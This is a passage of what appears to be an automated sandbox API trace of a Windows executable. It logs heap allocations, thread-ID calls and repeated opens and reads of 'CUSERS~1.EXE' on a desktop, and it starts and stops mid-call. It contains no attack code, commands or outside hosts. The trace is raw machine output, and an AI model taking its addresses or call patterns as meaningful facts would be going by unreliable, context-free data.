(HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302f930 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcf20 | out: hHeap=0x2ad0000) returned 1 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3031150 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd230 | out: hHeap=0x2ad0000) returned 1 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x215) returned 0x303bc38 [0075.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x303bc38, Size=0x12b) returned 0x303bc38 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x90) returned 0x2ac0748 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x116) returned 0x2ab4e40 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x302b970 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x458) returned 0x3184a20 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302b970 | out: hHeap=0x2ad0000) returned 1 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4e40 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3184a20 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0748 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x303bc38 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3184018 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302f930 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3031150 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83b8 | out: hHeap=0x2ad0000) returned 1 [0075.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183ca0 [0075.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1a) returned 0x30281e8 [0075.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19508 [0075.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19b28 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281e8 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ca0 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fcb40 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8238 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8448 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd9d8 | out: hHeap=0x2ad0000) returned 1 [0075.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8430 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fc9b8 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283c8 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8370 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82f8 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8268 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd850 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd850 [0075.127] GetCurrentThreadId () returned 0x9b0 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x30f8178 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4758 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183f80 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4778 [0075.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4708 [0075.127] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4778, Size=0x14) returned 0x3183de0 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4708 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81f0 | out: hHeap=0x2ad0000) returned 1 [0075.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183f80 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4758 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183de0 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd850 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac3fc0 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84c0 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbddc8 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3e38 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48a8 [0075.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283c8 [0075.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0075.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4a08 [0075.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49c8 [0075.128] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4a08, Size=0x14) returned 0x2a71680 [0075.128] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71680, Size=0x24) returned 0x2a1fef8 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49c8 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0075.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283c8 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48a8 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd850 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd9d8 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48f8 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82e0 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4a18 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.129] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4a18, Size=0x14) returned 0x2a71680 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82e0 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8460 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd850 | out: hHeap=0x2ad0000) returned 1 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd850 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcf20 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab46e8 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0075.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4668 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4838 [0075.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4668, Size=0x14) returned 0x2a71700 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4838 | out: hHeap=0x2ad0000) returned 1 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81d8 | out: hHeap=0x2ad0000) returned 1 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab46e8 | out: hHeap=0x2ad0000) returned 1 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8268 [0075.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd850 | out: hHeap=0x2ad0000) returned 1 [0075.130] GetCurrentThreadId () returned 0x9b0 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0075.130] GetCurrentThreadId () returned 0x9b0 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82e0 [0075.130] GetCurrentThreadId () returned 0x9b0 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8280 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49d8 [0075.130] GetCurrentThreadId () returned 0x9b0 [0075.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.130] GetCurrentThreadId () returned 0x9b0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48f8 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8328 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8370 [0075.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82e0 | out: hHeap=0x2ad0000) returned 1 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82b0 [0075.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83e8 [0075.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.131] GetCurrentThreadId () returned 0x9b0 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8340 [0075.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8340, Size=0x20) returned 0x30283c8 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283c8, Size=0x40) returned 0x2a19370 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8358 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8478 [0075.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8478 | out: hHeap=0x2ad0000) returned 1 [0075.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8358 | out: hHeap=0x2ad0000) returned 1 [0075.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a19738 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8298 [0075.132] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0b70 [0075.132] GetCurrentThreadId () returned 0x9b0 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19a48 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8448 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83e8 [0075.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0075.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8340 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4898 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48c8 [0075.133] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8280 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8388 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0075.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4978 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.134] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8400 [0075.135] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82f8 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8370 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4988 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4938 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83e8 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.136] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8208 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.137] GetCurrentThreadId () returned 0x9b0 [0075.139] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba3e8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.139] GetFileType (hFile=0x2d8) returned 0x1 [0075.139] GetFileType (hFile=0x2d8) returned 0x1 [0075.139] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba464 | out: lpFileInformation=0x9ba464) returned 1 [0075.139] FileTimeToLocalFileTime (in: lpFileTime=0x9ba478, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.139] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.140] FileTimeToLocalFileTime (in: lpFileTime=0x9ba470, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.140] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.140] FileTimeToLocalFileTime (in: lpFileTime=0x9ba468, lpLocalFileTime=0x9ba4a8 | out: lpLocalFileTime=0x9ba4a8) returned 1 [0075.140] FileTimeToSystemTime (in: lpFileTime=0x9ba4a8, lpSystemTime=0x9ba498 | out: lpSystemTime=0x9ba498) returned 1 [0075.140] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8051131, lpDistanceToMoveHigh=0x9ba518*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba518*=0) returned 0x7ad9bb [0075.140] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8057478, lpDistanceToMoveHigh=0x9ba8b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba8b0*=0) returned 0x7af286 [0075.140] ReadFile (in: hFile=0x2d8, lpBuffer=0x317d804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba878, lpOverlapped=0x0 | out: lpBuffer=0x317d804*, lpNumberOfBytesRead=0x9ba878*=0x1000, lpOverlapped=0x0) returned 1 [0075.140] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc64e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba864, lpOverlapped=0x0 | out: lpBuffer=0x2cc64e8*, lpNumberOfBytesRead=0x9ba864*=0x1000, lpOverlapped=0x0) returned 1 [0075.140] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b953c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b953c*=0) returned 0x7b1286 [0075.140] CloseHandle (hObject=0x2d8) returned 1 [0075.141] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9c68, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.141] GetFileType (hFile=0x2d8) returned 0x1 [0075.141] GetFileType (hFile=0x2d8) returned 0x1 [0075.141] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9ce4 | out: lpFileInformation=0x9b9ce4) returned 1 [0075.141] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.141] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.141] FileTimeToLocalFileTime (in: lpFileTime=0x9b9cf0, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.141] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.141] FileTimeToLocalFileTime (in: lpFileTime=0x9b9ce8, lpLocalFileTime=0x9b9d28 | out: lpLocalFileTime=0x9b9d28) returned 1 [0075.141] FileTimeToSystemTime (in: lpFileTime=0x9b9d28, lpSystemTime=0x9b9d18 | out: lpSystemTime=0x9b9d18) returned 1 [0075.141] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8064210, lpDistanceToMoveHigh=0x9b9d98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d98*=0) returned 0x7b0cd2 [0075.142] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8049817, lpDistanceToMoveHigh=0x9ba130*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba130*=0) returned 0x7ad499 [0075.142] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba0e4, lpOverlapped=0x0 | out: lpBuffer=0x2cc54e0*, lpNumberOfBytesRead=0x9ba0e4*=0x1000, lpOverlapped=0x0) returned 1 [0075.142] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8dbc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8dbc*=0) returned 0x7ae499 [0075.142] CloseHandle 